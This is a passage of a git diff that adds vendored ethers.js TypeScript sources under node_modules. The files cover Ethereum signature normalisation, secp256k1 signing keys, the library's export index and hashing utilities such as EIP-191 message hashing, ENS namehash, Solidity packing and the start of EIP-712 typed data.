//_result: + * + * Signature.getChainIdV(5, 28) + * //_result: + * + */ + static getChainIdV(chainId: BigNumberish, v: 27 | 28): bigint { + return (getBigInt(chainId) * BN_2) + BigInt(35 + v - 27); + } + + /** + * Compute the normalized legacy transaction ``v`` from a ``yParirty``, + * a legacy transaction ``v`` or a legacy [[link-eip-155]] transaction. + * + * @example: + * // The values 0 and 1 imply v is actually yParity + * Signature.getNormalizedV(0) + * //_result: + * + * // Legacy non-EIP-1559 transaction (i.e. 27 or 28) + * Signature.getNormalizedV(27) + * //_result: + * + * // Legacy EIP-155 transaction (i.e. >= 35) + * Signature.getNormalizedV(46) + * //_result: + * + * // Invalid values throw + * Signature.getNormalizedV(5) + * //_error: + */ + static getNormalizedV(v: BigNumberish): 27 | 28 { + const bv = getBigInt(v); + + if (bv === BN_0 || bv === BN_27) { return 27; } + if (bv === BN_1 || bv === BN_28) { return 28; } + + assertArgument(bv >= BN_35, "invalid v", "v", v); + + // Otherwise, EIP-155 v means odd is 27 and even is 28 + return (bv & BN_1) ? 27: 28; + } + + /** + * Creates a new [[Signature]]. + * + * If no %%sig%% is provided, a new [[Signature]] is created + * with default values. + * + * If %%sig%% is a string, it is parsed. + */ + static from(sig?: SignatureLike): Signature { + function assertError(check: unknown, message: string): asserts check { + assertArgument(check, message, "signature", sig); + }; + + if (sig == null) { + return new Signature(_guard, ZeroHash, ZeroHash, 27); + } + + if (typeof(sig) === "string") { + const bytes = getBytes(sig, "signature"); + if (bytes.length === 64) { + const r = hexlify(bytes.slice(0, 32)); + const s = bytes.slice(32, 64); + const v = (s[0] & 0x80) ? 28: 27; + s[0] &= 0x7f; + return new Signature(_guard, r, hexlify(s), v); + } + + if (bytes.length === 65) { + const r = hexlify(bytes.slice(0, 32)); + const s = hexlify(bytes.slice(32, 64)); + const v = Signature.getNormalizedV(bytes[64]); + return new Signature(_guard, r, s, v); + } + + assertError(false, "invalid raw signature length"); + } + + if (sig instanceof Signature) { return sig.clone(); } + + // Get r + const _r = sig.r; + assertError(_r != null, "missing r"); + const r = toUint256(_r); + + // Get s; by any means necessary (we check consistency below) + const s = (function(s?: string, yParityAndS?: string) { + if (s != null) { return toUint256(s); } + + if (yParityAndS != null) { + assertError(isHexString(yParityAndS, 32), "invalid yParityAndS"); + const bytes = getBytes(yParityAndS); + bytes[0] &= 0x7f; + return hexlify(bytes); + } + + assertError(false, "missing s"); + })(sig.s, sig.yParityAndS); + + // Get v; by any means necessary (we check consistency below) + const { networkV, v } = (function(_v?: BigNumberish, yParityAndS?: string, yParity?: Numeric): { networkV?: bigint, v: 27 | 28 } { + if (_v != null) { + const v = getBigInt(_v); + return { + networkV: ((v >= BN_35) ? v: undefined), + v: Signature.getNormalizedV(v) + }; + } + + if (yParityAndS != null) { + assertError(isHexString(yParityAndS, 32), "invalid yParityAndS"); + return { v: ((getBytes(yParityAndS)[0] & 0x80) ? 28: 27) }; + } + + if (yParity != null) { + switch (getNumber(yParity, "sig.yParity")) { + case 0: return { v: 27 }; + case 1: return { v: 28 }; + } + assertError(false, "invalid yParity"); + } + + assertError(false, "missing v"); + })(sig.v, sig.yParityAndS, sig.yParity); + + const result = new Signature(_guard, r, s, v); + if (networkV) { result.#networkV = networkV; } + + // If multiple of v, yParity, yParityAndS we given, check they match + assertError(sig.yParity == null || getNumber(sig.yParity, "sig.yParity") === result.yParity, "yParity mismatch"); + assertError(sig.yParityAndS == null || sig.yParityAndS === result.yParityAndS, "yParityAndS mismatch"); + + return result; + } +} diff --git a/node_modules/ethers/src.ts/crypto/signing-key.ts b/node_modules/ethers/src.ts/crypto/signing-key.ts new file mode 100644 index 000000000000..8ddd66fc18b6 --- /dev/null +++ b/node_modules/ethers/src.ts/crypto/signing-key.ts @@ -0,0 +1,196 @@ +/** + * Add details about signing here. + * + * @_subsection: api/crypto:Signing [about-signing] + */ + +import { secp256k1 } from "@noble/curves/secp256k1"; + +import { + concat, dataLength, getBytes, getBytesCopy, hexlify, toBeHex, + assertArgument +} from "../utils/index.js"; + +import { Signature } from "./signature.js"; + +import type { BytesLike } from "../utils/index.js"; + +import type { SignatureLike } from "./index.js"; + + +/** + * A **SigningKey** provides high-level access to the elliptic curve + * cryptography (ECC) operations and key management. + */ +export class SigningKey { + #privateKey: string; + + /** + * Creates a new **SigningKey** for %%privateKey%%. + */ + constructor(privateKey: BytesLike) { + assertArgument(dataLength(privateKey) === 32, "invalid private key", "privateKey", "[REDACTED]"); + this.#privateKey = hexlify(privateKey); + } + + /** + * The private key. + */ + get privateKey(): string { return this.#privateKey; } + + /** + * The uncompressed public key. + * + * This will always begin with the prefix ``0x04`` and be 132 + * characters long (the ``0x`` prefix and 130 hexadecimal nibbles). + */ + get publicKey(): string { return SigningKey.computePublicKey(this.#privateKey); } + + /** + * The compressed public key. + * + * This will always begin with either the prefix ``0x02`` or ``0x03`` + * and be 68 characters long (the ``0x`` prefix and 33 hexadecimal + * nibbles) + */ + get compressedPublicKey(): string { return SigningKey.computePublicKey(this.#privateKey, true); } + + /** + * Return the signature of the signed %%digest%%. + */ + sign(digest: BytesLike): Signature { + assertArgument(dataLength(digest) === 32, "invalid digest length", "digest", digest); + + const sig = secp256k1.sign(getBytesCopy(digest), getBytesCopy(this.#privateKey), { + lowS: true + }); + + return Signature.from({ + r: toBeHex(sig.r, 32), + s: toBeHex(sig.s, 32), + v: (sig.recovery ? 0x1c: 0x1b) + }); + } + + /** + * Returns the [[link-wiki-ecdh]] shared secret between this + * private key and the %%other%% key. + * + * The %%other%% key may be any type of key, a raw public key, + * a compressed/uncompressed pubic key or aprivate key. + * + * Best practice is usually to use a cryptographic hash on the + * returned value before using it as a symetric secret. + * + * @example: + * sign1 = new SigningKey(id("some-secret-1")) + * sign2 = new SigningKey(id("some-secret-2")) + * + * // Notice that privA.computeSharedSecret(pubB)... + * sign1.computeSharedSecret(sign2.publicKey) + * //_result: + * + * // ...is equal to privB.computeSharedSecret(pubA). + * sign2.computeSharedSecret(sign1.publicKey) + * //_result: + */ + computeSharedSecret(other: BytesLike): string { + const pubKey = SigningKey.computePublicKey(other); + return hexlify(secp256k1.getSharedSecret(getBytesCopy(this.#privateKey), getBytes(pubKey), false)); + } + + /** + * Compute the public key for %%key%%, optionally %%compressed%%. + * + * The %%key%% may be any type of key, a raw public key, a + * compressed/uncompressed public key or private key. + * + * @example: + * sign = new SigningKey(id("some-secret")); + * + * // Compute the uncompressed public key for a private key + * SigningKey.computePublicKey(sign.privateKey) + * //_result: + * + * // Compute the compressed public key for a private key + * SigningKey.computePublicKey(sign.privateKey, true) + * //_result: + * + * // Compute the uncompressed public key + * SigningKey.computePublicKey(sign.publicKey, false); + * //_result: + * + * // Compute the Compressed a public key + * SigningKey.computePublicKey(sign.publicKey, true); + * //_result: + */ + static computePublicKey(key: BytesLike, compressed?: boolean): string { + let bytes = getBytes(key, "key"); + + // private key + if (bytes.length === 32) { + const pubKey = secp256k1.getPublicKey(bytes, !!compressed); + return hexlify(pubKey); + } + + // raw public key; use uncompressed key with 0x04 prefix + if (bytes.length === 64) { + const pub = new Uint8Array(65); + pub[0] = 0x04; + pub.set(bytes, 1); + bytes = pub; + } + + const point = secp256k1.ProjectivePoint.fromHex(bytes); + return hexlify(point.toRawBytes(compressed)); + } + + /** + * Returns the public key for the private key which produced the + * %%signature%% for the given %%digest%%. + * + * @example: + * key = new SigningKey(id("some-secret")) + * digest = id("hello world") + * sig = key.sign(digest) + * + * // Notice the signer public key... + * key.publicKey + * //_result: + * + * // ...is equal to the recovered public key + * SigningKey.recoverPublicKey(digest, sig) + * //_result: + * + */ + static recoverPublicKey(digest: BytesLike, signature: SignatureLike): string { + assertArgument(dataLength(digest) === 32, "invalid digest length", "digest", digest); + + const sig = Signature.from(signature); + + let secpSig = secp256k1.Signature.fromCompact(getBytesCopy(concat([ sig.r, sig.s ]))); + secpSig = secpSig.addRecoveryBit(sig.yParity); + + const pubKey = secpSig.recoverPublicKey(getBytesCopy(digest)); + assertArgument(pubKey != null, "invalid signature for digest", "signature", signature); + + return "0x" + pubKey.toHex(false); + } + + /** + * Returns the point resulting from adding the ellipic curve points + * %%p0%% and %%p1%%. + * + * This is not a common function most developers should require, but + * can be useful for certain privacy-specific techniques. + * + * For example, it is used by [[HDNodeWallet]] to compute child + * addresses from parent public keys and chain codes. + */ + static addPoints(p0: BytesLike, p1: BytesLike, compressed?: boolean): string { + const pub0 = secp256k1.ProjectivePoint.fromHex(SigningKey.computePublicKey(p0).substring(2)); + const pub1 = secp256k1.ProjectivePoint.fromHex(SigningKey.computePublicKey(p1).substring(2)); + return "0x" + pub0.add(pub1).toHex(!!compressed) + } +} + diff --git a/node_modules/ethers/src.ts/ethers.ts b/node_modules/ethers/src.ts/ethers.ts new file mode 100644 index 000000000000..a88b6331faae --- /dev/null +++ b/node_modules/ethers/src.ts/ethers.ts @@ -0,0 +1,221 @@ + + +///////////////////////////// +// + +export { version } from "./_version.js"; + +export { + decodeBytes32String, encodeBytes32String, + + AbiCoder, + ConstructorFragment, ErrorFragment, EventFragment, Fragment, FallbackFragment, FunctionFragment, NamedFragment, ParamType, StructFragment, + + checkResultErrors, ErrorDescription, Indexed, Interface, LogDescription, Result, TransactionDescription, + Typed, +} from "./abi/index.js"; + +export { + getAddress, getIcapAddress, + getCreateAddress, getCreate2Address, + isAddressable, isAddress, resolveAddress +} from "./address/index.js"; + +export { + ZeroAddress, + WeiPerEther, MaxUint256, MinInt256, MaxInt256, N, + ZeroHash, + EtherSymbol, MessagePrefix +} from "./constants/index.js"; + +export { + BaseContract, Contract, + ContractFactory, + ContractEventPayload, ContractTransactionReceipt, ContractTransactionResponse, ContractUnknownEventPayload, EventLog, UndecodedEventLog +} from "./contract/index.js"; + +export { + computeHmac, + randomBytes, + keccak256, + ripemd160, + sha256, sha512, + pbkdf2, + scrypt, scryptSync, + lock, + Signature, SigningKey +} from "./crypto/index.js"; + +export { + id, + ensNormalize, isValidName, namehash, dnsEncode, + hashAuthorization, verifyAuthorization, + hashMessage, verifyMessage, + solidityPacked, solidityPackedKeccak256, solidityPackedSha256, + TypedDataEncoder, + verifyTypedData +} from "./hash/index.js"; + +export { + getDefaultProvider, + + Block, FeeData, Log, TransactionReceipt, TransactionResponse, + + AbstractSigner, NonceManager, VoidSigner, + + AbstractProvider, + + FallbackProvider, + JsonRpcApiProvider, JsonRpcProvider, JsonRpcSigner, + + BrowserProvider, + + AlchemyProvider, AnkrProvider, BlockscoutProvider, ChainstackProvider, + CloudflareProvider, EtherscanProvider, InfuraProvider, + InfuraWebSocketProvider, PocketProvider, QuickNodeProvider, + + IpcSocketProvider, SocketProvider, WebSocketProvider, + + EnsResolver, + Network, + + EnsPlugin, EtherscanPlugin, + FeeDataNetworkPlugin, FetchUrlFeeDataNetworkPlugin, + GasCostPlugin, NetworkPlugin, MulticoinProviderPlugin, + + SocketBlockSubscriber, SocketEventSubscriber, SocketPendingSubscriber, + SocketSubscriber, UnmanagedSubscriber, + + copyRequest, showThrottleMessage +} from "./providers/index.js"; + +export { + accessListify, authorizationify, + computeAddress, recoverAddress, + Transaction +} from "./transaction/index.js"; + +export { + decodeBase58, encodeBase58, + decodeBase64, encodeBase64, + concat, dataLength, dataSlice, getBytes, getBytesCopy, hexlify, + isHexString, isBytesLike, stripZerosLeft, zeroPadBytes, zeroPadValue, + defineProperties, resolveProperties, + assert, assertArgument, assertArgumentCount, assertNormalize, assertPrivate, + makeError, + isCallException, isError, + EventPayload, + FetchRequest, FetchResponse, FetchCancelSignal, + FixedNumber, + getBigInt, getNumber, getUint, toBeArray, toBigInt, toBeHex, toNumber, toQuantity, + fromTwos, toTwos, mask, + formatEther, parseEther, formatUnits, parseUnits, + toUtf8Bytes, toUtf8CodePoints, toUtf8String, + Utf8ErrorFuncs, + decodeRlp, encodeRlp, + uuidV4, +} from "./utils/index.js"; + +export { + Mnemonic, + BaseWallet, HDNodeWallet, HDNodeVoidWallet, + Wallet, + + defaultPath, + + getAccountPath, getIndexedAccountPath, + isCrowdsaleJson, isKeystoreJson, + + decryptCrowdsaleJson, decryptKeystoreJsonSync, decryptKeystoreJson, + encryptKeystoreJson, encryptKeystoreJsonSync, +} from "./wallet/index.js"; + +export { + Wordlist, LangEn, WordlistOwl, WordlistOwlA, wordlists +} from "./wordlists/index.js"; + + + +///////////////////////////// +// Types + +export type { + JsonFragment, JsonFragmentType, + FormatType, FragmentType, + InterfaceAbi, + ParamTypeWalkFunc, ParamTypeWalkAsyncFunc +} from "./abi/index.js"; + +export type { + Addressable, AddressLike, NameResolver +} from "./address/index.js"; + +export type { + ConstantContractMethod, ContractEvent, ContractEventArgs, ContractEventName, + ContractInterface, ContractMethod, ContractMethodArgs, ContractTransaction, + DeferredTopicFilter, Overrides, + BaseContractMethod, ContractDeployTransaction, PostfixOverrides, + WrappedFallback +} from "./contract/index.js"; + +export type { ProgressCallback, SignatureLike } from "./crypto/index.js"; + +export type { + AuthorizationRequest, TypedDataDomain, TypedDataField +} from "./hash/index.js"; + +export type { + Provider, Signer, + + CommunityResourcable, + + AbstractProviderOptions, BrowserProviderOptions, FallbackProviderOptions, + + AbstractProviderPlugin, BlockParams, BlockTag, BrowserDiscoverOptions, + ContractRunner, DebugEventBrowserProvider, Eip1193Provider, + Eip6963ProviderInfo, EventFilter, Filter, FilterByBlockHash, + GasCostParameters, JsonRpcApiProviderOptions, JsonRpcError, + JsonRpcPayload, JsonRpcResult, JsonRpcTransactionRequest, LogParams, + MinedBlock, MinedTransactionResponse, Networkish, OrphanFilter, + PerformActionFilter, PerformActionRequest, PerformActionTransaction, + PreparedTransactionRequest, ProviderEvent, Subscriber, Subscription, + TopicFilter, TransactionReceiptParams, TransactionRequest, + TransactionResponseParams, WebSocketCreator, WebSocketLike +} from "./providers/index.js"; + +export type { + AccessList, AccessListish, AccessListEntry, + Authorization, AuthorizationLike, + Blob, BlobLike, KzgLibrary, KzgLibraryLike, + TransactionLike +} from "./transaction/index.js"; + +export type { + BytesLike, + BigNumberish, Numeric, + ErrorCode, + FixedFormat, + Utf8ErrorFunc, UnicodeNormalizationForm, Utf8ErrorReason, + RlpStructuredData, RlpStructuredDataish, + + GetUrlResponse, + FetchPreflightFunc, FetchProcessFunc, FetchRetryFunc, + FetchGatewayFunc, FetchGetUrlFunc, + + EthersError, UnknownError, NotImplementedError, UnsupportedOperationError, NetworkError, + ServerError, TimeoutError, BadDataError, CancelledError, BufferOverrunError, + NumericFaultError, InvalidArgumentError, MissingArgumentError, UnexpectedArgumentError, + CallExceptionError, InsufficientFundsError, NonceExpiredError, OffchainFaultError, + ReplacementUnderpricedError, TransactionReplacedError, UnconfiguredNameError, + ActionRejectedError, + CodedEthersError, + + CallExceptionAction, CallExceptionTransaction, + EventEmitterable, Listener +} from "./utils/index.js"; + +export type { + CrowdsaleAccount, KeystoreAccount, EncryptOptions +} from "./wallet/index.js"; + +// dummy change; to pick-up ws security issue changes diff --git a/node_modules/ethers/src.ts/hash/authorization.ts b/node_modules/ethers/src.ts/hash/authorization.ts new file mode 100644 index 000000000000..8c0932fc712d --- /dev/null +++ b/node_modules/ethers/src.ts/hash/authorization.ts @@ -0,0 +1,38 @@ +import { getAddress } from "../address/index.js"; +import { keccak256 } from "../crypto/index.js"; +import { recoverAddress } from "../transaction/index.js"; +import { + assertArgument, concat, encodeRlp, toBeArray +} from "../utils/index.js"; + +import type { Addressable } from "../address/index.js"; +import type { SignatureLike } from "../crypto/index.js"; +import type { BigNumberish, Numeric } from "../utils/index.js"; + +export interface AuthorizationRequest { + address: string | Addressable; + nonce?: Numeric; + chainId?: BigNumberish; +} + +/** + * Computes the [[link-eip-7702]] authorization digest to sign. + */ +export function hashAuthorization(auth: AuthorizationRequest): string { + assertArgument(typeof(auth.address) === "string", "invalid address for hashAuthorization", "auth.address", auth); + return keccak256(concat([ + "0x05", encodeRlp([ + (auth.chainId != null) ? toBeArray(auth.chainId): "0x", + getAddress(auth.address), + (auth.nonce != null) ? toBeArray(auth.nonce): "0x", + ]) + ])); +} + +/** + * Return the address of the private key that produced + * the signature %%sig%% during signing for %%message%%. + */ +export function verifyAuthorization(auth: AuthorizationRequest, sig: SignatureLike): string { + return recoverAddress(hashAuthorization(auth), sig); +} diff --git a/node_modules/ethers/src.ts/hash/id.ts b/node_modules/ethers/src.ts/hash/id.ts new file mode 100644 index 000000000000..8780a693bafe --- /dev/null +++ b/node_modules/ethers/src.ts/hash/id.ts @@ -0,0 +1,17 @@ +import { keccak256 } from "../crypto/index.js"; +import { toUtf8Bytes } from "../utils/index.js"; + +/** + * A simple hashing function which operates on UTF-8 strings to + * compute an 32-byte identifier. + * + * This simply computes the [UTF-8 bytes](toUtf8Bytes) and computes + * the [[keccak256]]. + * + * @example: + * id("hello world") + * //_result: + */ +export function id(value: string): string { + return keccak256(toUtf8Bytes(value)); +} diff --git a/node_modules/ethers/src.ts/hash/index.ts b/node_modules/ethers/src.ts/hash/index.ts new file mode 100644 index 000000000000..2c2289aabe10 --- /dev/null +++ b/node_modules/ethers/src.ts/hash/index.ts @@ -0,0 +1,18 @@ +/** + * Utilities for common tasks involving hashing. Also see + * [cryptographic hashing](about-crypto-hashing). + * + * @_section: api/hashing:Hashing Utilities [about-hashing] + */ + +export { hashAuthorization, verifyAuthorization } from "./authorization.js"; +export { id } from "./id.js" +export { ensNormalize, isValidName, namehash, dnsEncode } from "./namehash.js"; +export { hashMessage, verifyMessage } from "./message.js"; +export { + solidityPacked, solidityPackedKeccak256, solidityPackedSha256 +} from "./solidity.js"; +export { TypedDataEncoder, verifyTypedData } from "./typed-data.js"; + +export type { AuthorizationRequest } from "./authorization.js"; +export type { TypedDataDomain, TypedDataField } from "./typed-data.js"; diff --git a/node_modules/ethers/src.ts/hash/message.ts b/node_modules/ethers/src.ts/hash/message.ts new file mode 100644 index 000000000000..871a84bbab3f --- /dev/null +++ b/node_modules/ethers/src.ts/hash/message.ts @@ -0,0 +1,51 @@ +import { keccak256 } from "../crypto/index.js"; +import { MessagePrefix } from "../constants/index.js"; +import { recoverAddress } from "../transaction/index.js"; +import { concat, toUtf8Bytes } from "../utils/index.js"; + +import type { SignatureLike } from "../crypto/index.js"; +/** + * Computes the [[link-eip-191]] personal-sign message digest to sign. + * + * This prefixes the message with [[MessagePrefix]] and the decimal length + * of %%message%% and computes the [[keccak256]] digest. + * + * If %%message%% is a string, it is converted to its UTF-8 bytes + * first. To compute the digest of a [[DataHexString]], it must be converted + * to [bytes](getBytes). + * + * @example: + * hashMessage("Hello World") + * //_result: + * + * // Hashes the SIX (6) string characters, i.e. + * // [ "0", "x", "4", "2", "4", "3" ] + * hashMessage("0x4243") + * //_result: + * + * // Hashes the TWO (2) bytes [ 0x42, 0x43 ]... + * hashMessage(getBytes("0x4243")) + * //_result: + * + * // ...which is equal to using data + * hashMessage(new Uint8Array([ 0x42, 0x43 ])) + * //_result: + * + */ +export function hashMessage(message: Uint8Array | string): string { + if (typeof(message) === "string") { message = toUtf8Bytes(message); } + return keccak256(concat([ + toUtf8Bytes(MessagePrefix), + toUtf8Bytes(String(message.length)), + message + ])); +} + +/** + * Return the address of the private key that produced + * the signature %%sig%% during signing for %%message%%. + */ +export function verifyMessage(message: Uint8Array | string, sig: SignatureLike): string { + const digest = hashMessage(message); + return recoverAddress(digest, sig); +} diff --git a/node_modules/ethers/src.ts/hash/namehash.ts b/node_modules/ethers/src.ts/hash/namehash.ts new file mode 100644 index 000000000000..759383ac8ffa --- /dev/null +++ b/node_modules/ethers/src.ts/hash/namehash.ts @@ -0,0 +1,101 @@ + +import { keccak256 } from "../crypto/index.js"; +import { + concat, hexlify, assertArgument, toUtf8Bytes +} from "../utils/index.js"; + + +import { ens_normalize } from "@adraffy/ens-normalize"; + +const Zeros = new Uint8Array(32); +Zeros.fill(0); + +function checkComponent(comp: Uint8Array): Uint8Array { + assertArgument(comp.length !== 0, "invalid ENS name; empty component", "comp", comp) + return comp; +} + +function ensNameSplit(name: string): Array { + const bytes = toUtf8Bytes(ensNormalize(name)); + const comps: Array = [ ]; + + if (name.length === 0) { return comps; } + + let last = 0; + for (let i = 0; i < bytes.length; i++) { + const d = bytes[i]; + + // A separator (i.e. "."); copy this component + if (d === 0x2e) { + comps.push(checkComponent(bytes.slice(last, i))); + last = i + 1; + } + } + + // There was a stray separator at the end of the name + assertArgument(last < bytes.length, "invalid ENS name; empty component", "name", name); + + comps.push(checkComponent(bytes.slice(last))); + return comps; +} + +/** + * Returns the ENS %%name%% normalized. + */ +export function ensNormalize(name: string): string { + try { + if (name.length === 0) { throw new Error("empty label"); } + return ens_normalize(name); + } catch (error: any) { + assertArgument(false, `invalid ENS name (${ error.message })`, "name", name); + } +} + +/** + * Returns ``true`` if %%name%% is a valid ENS name. + */ +export function isValidName(name: string): name is string { + try { + return (ensNameSplit(name).length !== 0); + } catch (error) { } + return false; +} + +/** + * Returns the [[link-namehash]] for %%name%%. + */ +export function namehash(name: string): string { + assertArgument(typeof(name) === "string", "invalid ENS name; not a string", "name", name); + + assertArgument(name.length, `invalid ENS name (empty label)`, "name", name); + + let result: string | Uint8Array = Zeros; + + const comps = ensNameSplit(name); + while (comps.length) { + result = keccak256(concat([ result, keccak256((comps.pop()))] )); + } + + return hexlify(result); +} + +/** + * Returns the DNS encoded %%name%%. + * + * This is used for various parts of ENS name resolution, such + * as the wildcard resolution. + */ +export function dnsEncode(name: string, _maxLength?: number): string { + const length = (_maxLength != null) ? _maxLength: 63; + + assertArgument(length <= 255, "DNS encoded label cannot exceed 255", "length", length); + + return hexlify(concat(ensNameSplit(name).map((comp) => { + assertArgument(comp.length <= length, `label ${ JSON.stringify(name) } exceeds ${ length } bytes`, "name", name); + + const bytes = new Uint8Array(comp.length + 1); + bytes.set(comp, 1); + bytes[0] = bytes.length - 1; + return bytes; + }))) + "00"; +} diff --git a/node_modules/ethers/src.ts/hash/solidity.ts b/node_modules/ethers/src.ts/hash/solidity.ts new file mode 100644 index 000000000000..6bab131955ac --- /dev/null +++ b/node_modules/ethers/src.ts/hash/solidity.ts @@ -0,0 +1,117 @@ +import { getAddress } from "../address/index.js"; +import { + keccak256 as _keccak256, sha256 as _sha256 +} from "../crypto/index.js"; +import { + concat, dataLength, getBytes, hexlify, toBeArray, toTwos, toUtf8Bytes, zeroPadBytes, zeroPadValue, + assertArgument +} from "../utils/index.js"; + + +const regexBytes = new RegExp("^bytes([0-9]+)$"); +const regexNumber = new RegExp("^(u?int)([0-9]*)$"); +const regexArray = new RegExp("^(.*)\\[([0-9]*)\\]$"); + + +function _pack(type: string, value: any, isArray?: boolean): Uint8Array { + switch(type) { + case "address": + if (isArray) { return getBytes(zeroPadValue(value, 32)); } + return getBytes(getAddress(value)); + case "string": + return toUtf8Bytes(value); + case "bytes": + return getBytes(value); + case "bool": + value = (!!value ? "0x01": "0x00"); + if (isArray) { return getBytes(zeroPadValue(value, 32)); } + return getBytes(value); + } + + let match = type.match(regexNumber); + if (match) { + let signed = (match[1] === "int"); + let size = parseInt(match[2] || "256") + + assertArgument((!match[2] || match[2] === String(size)) && (size % 8 === 0) && size !== 0 && size <= 256, "invalid number type", "type", type); + + if (isArray) { size = 256; } + + if (signed) { value = toTwos(value, size); } + + return getBytes(zeroPadValue(toBeArray(value), size / 8)); + } + + match = type.match(regexBytes); + if (match) { + const size = parseInt(match[1]); + + assertArgument(String(size) === match[1] && size !== 0 && size <= 32, "invalid bytes type", "type", type); + assertArgument(dataLength(value) === size, `invalid value for ${ type }`, "value", value); + + if (isArray) { return getBytes(zeroPadBytes(value, 32)); } + return value; + } + + match = type.match(regexArray); + if (match && Array.isArray(value)) { + const baseType = match[1]; + const count = parseInt(match[2] || String(value.length)); + assertArgument(count === value.length, `invalid array length for ${ type }`, "value", value); + + const result: Array = []; + value.forEach(function(value) { + result.push(_pack(baseType, value, true)); + }); + return getBytes(concat(result)); + } + + assertArgument(false, "invalid type", "type", type) +} + +// @TODO: Array Enum + +/** + * Computes the [[link-solc-packed]] representation of %%values%% + * respectively to their %%types%%. + * + * @example: + * addr = "0x8ba1f109551bd432803012645ac136ddd64dba72" + * solidityPacked([ "address", "uint" ], [ addr, 45 ]); + * //_result: + */ +export function solidityPacked(types: ReadonlyArray, values: ReadonlyArray): string { + assertArgument(types.length === values.length, "wrong number of values; expected ${ types.length }", "values", values); + + const tight: Array = []; + types.forEach(function(type, index) { + tight.push(_pack(type, values[index])); + }); + return hexlify(concat(tight)); +} + +/** + * Computes the [[link-solc-packed]] [[keccak256]] hash of %%values%% + * respectively to their %%types%%. + * + * @example: + * addr = "0x8ba1f109551bd432803012645ac136ddd64dba72" + * solidityPackedKeccak256([ "address", "uint" ], [ addr, 45 ]); + * //_result: + */ +export function solidityPackedKeccak256(types: ReadonlyArray, values: ReadonlyArray): string { + return _keccak256(solidityPacked(types, values)); +} + +/** + * Computes the [[link-solc-packed]] [[sha256]] hash of %%values%% + * respectively to their %%types%%. + * + * @example: + * addr = "0x8ba1f109551bd432803012645ac136ddd64dba72" + * solidityPackedSha256([ "address", "uint" ], [ addr, 45 ]); + * //_result: + */ +export function solidityPackedSha256(types: ReadonlyArray, values: ReadonlyArray): string { + return _sha256(solidityPacked(types, values)); +} diff --git a/node_modules/ethers/src.ts/hash/typed-data.ts b/node_modules/ethers/src.ts/hash/typed-data.ts new file mode 100644 index 000000000000..a217107828b4 --- /dev/null +++ b/node_modules/ethers/src.ts/hash/typed-data.ts @@ -0,0 +1,658 @@ +//import { TypedDataDomain, TypedDataField } from "@ethersproject/providerabstract-signer"; +import { getAddress } from "../address/index.js"; +import { keccak256 } from "../crypto/index.js"; +import { recoverAddress } from "../transaction/index.js"; +import { + concat, defineProperties, getBigInt, getBytes, hexlify, isHexString, mask, toBeHex, toQuantity, toTwos, zeroPadValue, + assertArgument +} from "../utils/index.js"; + +import { id } from "./id.js"; + +import type { SignatureLike } from "../crypto/index.js"; +import type { BigNumberish, BytesLike } from "../utils/index.js"; + + +const padding = new Uint8Array(32); +padding.fill(0); + +const BN__1 = BigInt(-1); +const BN_0 = BigInt(0); +const BN_1 = BigInt(1); +const BN_MAX_UINT256 = BigInt("0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"); + +// @TODO: in v7, verifyingContract should be an AddressLike and use resolveAddress + +/** + * The domain for an [[link-eip-712]] payload. + */ +export interface TypedDataDomain { + /** + * The human-readable name of the signing domain. + */ + name?: null | string; + + /** + * The major version of the signing domain. + */ + version?: null | string; + + /** + * The chain ID of the signing domain. + */ + chainId?: null | BigNumberish; + + /** + * The the address of the contract that will verify the signature. + */ + verifyingContract?: null | string; + + /** + * A salt used for purposes decided by the specific domain. + */ + salt?: null | BytesLike; +}; + +/** + * A specific field of a structured [[link-eip-712]] type. + */ +export interface TypedDataField { + /** + * The field name. + */ + name: string; + + /** + * The type of the field. + */ + type: string; +}; + +function hexPadRight(value: BytesLike): string { + const bytes = getBytes(value); + const padOffset = bytes.length % 32 + if (padOffset) { + return concat([ bytes, padding.slice(padOffset) ]); + } + return hexlify(bytes); +} + +const hexTrue = toBeHex(BN_1, 32); +const hexFalse = toBeHex(BN_0, 32); + +const domainFieldTypes: Record = { + name: "string", + version: "string", + chainId: "uint256", + verifyingContract: "address", + salt: "bytes32" +}; + +const domainFieldNames: Array = [ + "name", "version", "chainId", "verifyingContract", "salt" +]; + +function checkString(key: string): (value: any) => string { + return function (value: any){ + assertArgument(typeof(value) === "string", `invalid domain value for ${ JSON.stringify(key) }`, `domain.${ key }`, value); + return value; + } +} + +const domainChecks: Record any> = { + name: checkString("name"), + version: checkString("version"), + chainId: function(_value: any) { + const value = getBigInt(_value, "domain.chainId"); + assertArgument(value >= 0, "invalid chain ID", "domain.chainId", _value); + if (Number.isSafeInteger(value)) { return Number(value); } + return toQuantity(value); + }, + verifyingContract: function(value: any) { + try { + return getAddress(value).toLowerCase(); + } catch (error) { } + assertArgument(false, `invalid domain value "verifyingContract"`, "domain.verifyingContract", value); + }, + salt: function(value: any) { + const bytes = getBytes(value, "domain.salt"); + assertArgument(bytes.length === 32, `invalid domain value "salt"`, "domain.salt", value); + return hexlify(bytes); + } +} + +function getBaseEncoder(type: string): null | ((value: any) => string) { + // intXX and uintXX + { + const match = type.match(/^(u?)int(\d+)$/); + if (match) { + const signed = (match[1] === ""); + + const width = parseInt(match[2]); + assertArgument(width % 8 === 0 && width !== 0 && width <= 256 && match[2] === String(width), "invalid numeric width", "type", type); + + const boundsUpper = mask(BN_MAX_UINT256, signed ? (width - 1): width); + const boundsLower = signed ? ((boundsUpper + BN_1) * BN__1): BN_0; + + return function(_value: BigNumberish) { + const value = getBigInt(_value, "value"); + + assertArgument(value >= boundsLower && value <= boundsUpper, `value out-of-bounds for ${ type }`, "value", value); + + return toBeHex(signed ? toTwos(value, 256): value, 32); + }; + } + } + + // bytesXX + { + const match = type.match(/^bytes(\d+)$/); + if (match) { + const width = parseInt(match[1]); + assertArgument(width !== 0 && width <= 32 && match[1] === String(width), "invalid bytes width", "type", type); + + return function(value: BytesLike) { + const bytes = getBytes(value); + assertArgument(bytes.length === width, `invalid length for ${ type }`, "value", value); + return hexPadRight(value); + }; + } + } + + switch (type) { + case "address": return function(value: string) { + return zeroPadValue(getAddress(value), 32); + }; + case "bool": return function(value: boolean) { + return ((!value) ? hexFalse: hexTrue); + }; + case "bytes": return function(value: BytesLike) { + return keccak256(value); + }; + case "string": return function(value: string) { + return id(value); + }; + } + + return null; +} + +function encodeType(name: string, fields: Array): string { + return `${ name }(${ fields.map(({ name, type }) => (type + " " + name)).join(",") })`; +} + +type ArrayResult = { + base: string; // The base type + index?: string; // the full Index (if any) + array?: { // The Array... (if index) + base: string; // ...base type (same as above) + prefix: string; // ...sans the final Index + count: 